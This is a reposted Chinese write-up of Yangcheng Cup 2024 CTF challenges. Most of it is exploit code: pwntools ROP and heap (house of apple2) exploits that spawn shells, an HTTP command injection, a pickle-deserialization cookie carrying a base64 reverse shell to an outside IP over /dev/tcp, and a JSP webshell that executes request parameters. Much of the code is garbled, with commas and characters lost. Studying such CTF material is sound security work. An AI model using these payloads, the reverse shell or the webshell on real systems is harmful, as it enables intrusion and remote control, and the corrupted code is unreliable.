>>> v7[13] = 5632;
>>> v7[14] = 6336;
>>> v7[15] = 6528;
>>> v7[16] = 6720;
>>> v7[17] = 6144;
>>> v7[18] = 6272;
>>> v7[19] = 7488;
>>> v7[20] = 6656;
>>> v7[21] = 7296;
>>> v7[22] = 7424;
>>> v7[23] = 2432;
>>> v7[24] = 2432;
>>> v7[25] = 2432;
>>> v7[26] = 5632;
>>> v7[27] = 4416;
>>> v7[28] = 3456;
>>> v7[29] = 7168;
>>> v7[30] = 6528;
>>> v7[31] = 7488;
>>> v7[32] = 6272;
>>> v7[33] = 5632;
>>> v7[34] = 3520;
>>> v7[35] = 6208;
>>> v7[36] = 5632;
>>> v7[37] = 4736;
>>> v7[38] = 6528;
>>> v7[39] = 6400;
>>> v7[40] = 7488;
>>> v7[41] = 3520;
>>> v7[42] = 5632;
>>> v7[43] = 5184;
>>> v7[44] = 3456;
>>> v7[45] = 7488;
>>> v7[46] = 7296;
>>> v7[47] = 3200;
>>> v7[48] = 6272;
>>> v7[49] = 7424;
>>> v7[50] = 2432;
>>> v7[51] = 2432;
>>> v7[52] = 2432;
>>> v7[53] = 7808;
>>> for i in range(54):
...     v7[i] = (v7[i] >> 6 ) ^ 0x7
...
>>> v7
[68658367847012386989795491159510097110103101114111117115333333956649119971141019548102957797991144895864911411753101115333333125]
>>> for i in v7:
...     print(chr(i),end='')
...
DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}>>>

Re-你这主函数保真么

字符串跟进到关键函数,发现是离散余弦+rot13

羊城杯2024 WP
import numpy as np
from scipy.fftpack import dct, idct

# 创建一个示例数组,这里使用随机数
data = np.array([513.355-37.79868.7316-10.7832-1.3097-20.57796.98641-29.298915.942221.413829.4754-2.77161-6.58794-4.22332-7.207718.83506-4.38138-19.389818.34536.88259-14.765214.610224.7414-11.6222-9.75475999999999912.242413.4343-34.9307-35.735-20.084839.68921.87926.8296])
# 执行逆DCT(IDCT)来恢复原始数据
original_data = idct(data, norm='ortho')
np.round(original_data)

print(np.round(original_data))

羊城杯2024 WP

Pwn-pstack

这个题是一个比较新颖的栈迁移,无可控地址的时候可以修改rbp后使用read从而任意地址写,然后栈迁移

from pwn import *

sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8b'�'))
uu32 = lambda x: u32(x.ljust(4b'�'))

context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
# p=remote('139.155.126.78',31869)
p=process("./pwn")
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#################################################
#会用到的地址
vuln = 0x4006B0
read = 0x4006C4
data=0x601800   #这是data段取的一个未被使用的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi_ret=0x400773
leave_ret=0x4006db
ret=0x400506

#################################################
#leave之后rbp被修改为data段的一个地址,跳到调用read函数的地方,这个地方依赖rbp相对寻址
#导致read函数写data
payload=b"a"*0x30+p64(data)+p64(read)
sa("overflow?",payload)

#################################################
#使用read函数向data段写入rop链,溢出仍然存在,可以控制rbp和返回地址
#利用两次leave ret栈迁移到刚刚写入的地方,泄露libc地址
payload=p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)
payload+=p64(0)*2+p64(data-0x38)+p64(leave_ret)
sd(payload)

#################################################
#读取puts函数真实地址,计算libc基地址
#计算需要用到的libc地址

rl()
libc_base=uu64(rl()[:-1])-libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

##################################################
#利用ret平衡栈,随后写入system("/bin/sh")的rop链,最后栈迁移到写入的开头
#getshell
payload = p64(ret)+p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload+= p64(0)*2+p64(data-0x50)+p64(leave_ret)
sa("overflow?",payload)
ita()

Pwn-httpd

这个题首先需要去逆向得到报文格式,才能进行数据交互,限制了 Host, Content-Length, Host 等字段

漏洞点在 sub_13ED 函数的 popen 函数,能够命令执行,但过滤并不严谨,随便绕一下就过去了

from pwn import *
context.log_level='debug'

io = remote("139.155.126.78"37147)
payload = '''get /cat%20/flag>1.txt HTTP/1.0r
Host: 192.168.0.1r
Content-Length: 11r'''

io.sendline(payload)
print(io.recvline())
io.close()

io = remote("139.155.126.78"37147)
payload = '''GET /1.txt HTTP/1.0r
Host: 192.168.0.1r
Content-Length: 11r'''

io.sendline(payload)
print(io.recvline())
io.close()

羊城杯2024 WP

Pwn-TravelGraph

一个新颖的house of apple利用,外面套了一层数据结构的知识,难点主要在构造堆风水

from pwn import *

#本题要打一个house of apple这里引用一下作者的库
from pwncli import *

sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8b'�'))
uu32 = lambda x: u32(x.ljust(4b'�'))

context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
elf = ELF("./pwn")
p = process("./pwn")
libc = ELF("./libc.so.6")

def cmd(idx):
sla(b'distance',str(idx))

def add(mode,from_where,to_where,distance=1000,data="a"):
cmd(1)
vehicle=[b'car',b'train',b'plane']
sla(b'?',vehicle[mode])
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
sla(b'?',str(distance))
sa(b'Note:',data)

def dele(from_where,to_where):
cmd(2)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])

def show(from_where,to_where):
cmd(3)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])

def edit(from_where,to_where,choice,distance=1000,data=b'a'):
cmd(4)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
sla(b'?',str(choice))
sla(b'?',str(distance))
sa(b'Note:',data)

citys=[b"guangzhou",b"nanning",b"changsha",b"nanchang",b"fuzhou"]

############################################
#申请出一串路径,选择最远的两点,触发机制使edit_flag变为1,给一次edit机会
#另外这里残留了一些指针
add(2,0,1)
add(2,1,2)
add(2,2,3)
add(2,3,4)
cmd(5)
sla(b'?',citys[4])

############################################
#先释放不相邻的两块,使其放入unsorted bin,制造一个有libc地址有heap地址的块
dele(0,1)
dele(2,3)
dele(3,4)
dele(1,2)

############################################
#堆风水一下,想办法泄露刚才残留的指针
#泄露libc和heap基地址
add(0,0,1)
add(0,0,2)
add(0,0,3,1000,b'a'*(0x30-1)+b'^')
add(0,0,4)
show(0,3)
ru("^")
aheap=uu64(rc(6))
heap_base=aheap-0x558abcf73470+0x558abcf72000

dele(0,3)
add(0,0,3,1000,b'a'*(0x38-1)+b'~')
show(0,3)
ru("~")
alibc=uu64(rc(6))
libc_base=alibc-0x21ace0
libc.address=libc_base

#删除完,开始house of apple
dele(0,1)
dele(0,2)
dele(0,3)
dele(0,4)

##################################################
#以下部分使用了house of apple2,模板借用了原作者,稍作修改
target=libc.sym['_IO_list_all']
fake_io_1_addr=heap_base+0x1470
fake_io_2_addr=fake_io_1_addr+0x100

_IO_wstrn_jumps = libc_base + 0x216dc0
_IO_cookie_jumps = libc_base + 0x216b80
_lock = libc_base +  0x21ca60
point_guard_addr = libc_base - 0x2890
expected = fake_io_2_addr-0x10

magic_gadget = libc_base + 0x0000000000167420
mov_rsp_rdx_ret = libc_base + 0x5a120
add_rsp_0x20_pop_rbx_ret = libc_base + 0xd2ba5
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_rbx_ret = libc_base + 0x904a9

fake_io_1 = IO_FILE_plus_struct()
fake_io_1.chain = fake_io_2_addr
fake_io_1._flags2 = 8
fake_io_1._mode = 0
fake_io_1._lock = _lock
fake_io_1._wide_data = point_guard_addr
fake_io_1.vtable = _IO_wstrn_jumps

fake_io_2 = IO_FILE_plus_struct()
fake_io_2._IO_write_base = 0
fake_io_2._IO_write_ptr = 1
fake_io_2._lock = _lock
fake_io_2._mode = 0
fake_io_2._flags2 = 8
fake_io_2.vtable = _IO_cookie_jumps + 0x58

data = flat({
0: bytes(fake_io_1)[0x20:],
0xe0:{
0: bytes(fake_io_2),
0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
fake_io_2_addr + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
fake_io_2_addr & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
70,
libc.sym['mprotect'],
fake_io_2_addr + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
})

add(0,0,1,1000,data)
add(0,0,2)

add(2,0,3,1000,b'a'*0x500+p64(0)+p64(0x521)+p32(2)+p32(4))#2x+0x20  
add(1,0,4)#3x+0x50 B
add(0,1,2)
dele(0,4#释放B

add(2,1,3)# 申请大块,放入largebin

payload=p64(0)+p64(0x531)+p64(libc_base+0x21b110)+p64(libc_base+0x21b110)+p64(heap_base+0x1210)+p64(target-0x20)

edit(2,4,0,1000,payload)

dele(0,1)
add(2,1,3)
cmd(6)#exit 触发 FROP

ita()

羊城杯2024 WP

Pwn-logger

trace函数存在数组oob可以越界修改异常处理字符串

warn函数栈溢出修改返回地址为后门,控制好字符串的值,在抛出异常时即可执行到system('/bin/sh;'),然后通过溢出触发异常

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote(b'139.155.126.78'31283)
#p = process('./pwn')

def trace(content=b'a', ctx=b'n'):
p.sendlineafter(b'chocie'b'1')
p.sendlineafter(b'here', content)
p.sendlineafter(b'records', ctx)

for i in range(9):
trace(b"/bin/sh;/bin/sh;")

p.sendlineafter(b'chocie:'b'2')
payload = b'a'*0x70 + p64(0X404400) + p64(0x401BC4)
p.sendafter(b'Type your message here plz:', payload)

p.interactive()

羊城杯2024 WP

Web-Lyrics For You

任意文件读取,目录穿越读app.py

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)

class UserData:
def __init__(self, username):
self.username = username

def Waf(data):
blacklist = [b'R'b'secret'b'eval'b'file'b'compile'b'open'b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid

@app.route("/", methods=['GET'])
def index():
return render_template('index.html')

@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)

try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res

@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')

@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)

if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")

if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])

if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

存在pickle反序列化漏洞,使用opcode绕过关键字黑名单

发现key和cookie生成方式均为本地库,读取key和cookie生成方式

config/secret_key.py
cookie.py

简单修改一下代码,打印生成的cookie

import base64
import hashlib
import hmac
import pickle
import os

unicode = str
basestring = str

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
# resp = make_response("success")
# resp.set_cookie("user", value, max_age=3600)
return value
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > 4096:
raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

def cookie_encode(data, key):
# msg = base64.b64encode(pickle.dumps(data, -1))
opcode = b'''(cos
system
S'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzgxLjcwLjE2My4xNTIvODIgMD4mMQ== | base64 -d|/bin/bash'
o.'''

msg=(base64.b64encode(opcode))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

print(cookie_encode(data="",key="EnjoyThePlayTime123456"))

羊城杯2024 WP

Web-tomtom2

可以读取xml文件,因为需要后台登录,直接读取conf/tomcat-users.xml获取账号密码

后台可以上传xml文件,考虑覆盖web.xml来将指定目录下的所有文件解析为jsp

羊城杯2024 WP

简单修改,得到

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

<servlet>
<servlet-name>JspServlet</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>mappedfile</param-name>
<param-value>/**/*.jsp,/**/*.jspx</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>JspServlet</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>

</web-app>

因为web.xml会修改url解析,先上传一个webshell.xml,再上传web.xml

<%
    if("b".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
羊城杯2024 WP

 

原文始发于微信公众号(N0wayBack):羊城杯2024 WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日14:40:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   羊城杯2024 WPhttps://cn-sec.com/archives/3135909.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息